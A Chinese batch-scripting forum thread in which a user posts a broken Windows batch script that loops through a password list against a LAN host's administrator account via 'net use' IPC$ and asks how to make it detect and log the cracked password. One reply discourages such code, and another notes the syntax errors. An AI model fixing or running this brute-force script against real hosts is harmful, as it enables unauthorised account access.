找回密码
 注册
搜索
[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
查看: 24347|回复: 3

[网络连接] 扫描3389弱口令批处理问题

[复制链接]
发表于 2015-9-18 20:55:22 | 显示全部楼层 |阅读模式
自己做了个扫描3389弱口令的批处理,代码如下:
@echo on
rem net use \\192.168.1.108\ipc$ /del
for /F %%j in (d:\test\pass.txt) do (
        net use \\192.168.1.108\ipc$ "%%j" /user:"administrator"
        echo if ERRORLEVEL 0 goto ok
)
goto bad
k
echo "密码成功破解,%%j" >> d:\test\ok.txt
goto end
:bad
echo "结束,未找到密码...">> d:\test\ok.txt
:end
pause
exit
经测试,无论密码是否正确,ERRORLEVEL都是0, 且不跳转到ok。强制跳转到ok后,并不能将%%j(密码)输出到ok.txt文件,输出内容为"密码成功破解,%j"。
问题:
1、在net use \\192.168.1.108\ipc$ "%%j" /user:"administrator"成功执行后,如何正确捕捉到“命令成功完成”并跳转到ok?
2、在扫描成功后,如何将密码%%j输出到文件?
3、代码中是否还有其他错误
请各位大侠指教。
 楼主| 发表于 2015-9-18 21:47:08 | 显示全部楼层
没人答啊,求各位大神!
发表于 2015-9-18 22:20:04 | 显示全部楼层
如果这是你写的,自己瞄两眼也就能看出错误。

我想论坛并不鼓励类似功能的代码。
发表于 2015-9-20 01:25:59 | 显示全部楼层
本帖最后由 flyinnet9 于 2015-9-20 01:46 编辑

1、麻烦输入if  /?

2、"echo if ERRORLEVEL 0 goto ok" echo 是什么鬼

3、“net use \\192.168.1.108\ipc$ "%%j" /user:"administrator"” 这种格式。。。。不确定是这种写法,没地方测试(无责任预测)
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|批处理之家 ( 渝ICP备10000708号 )

GMT+8, 2026-3-18 14:12 , Processed in 0.016707 second(s), 8 queries , File On.

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表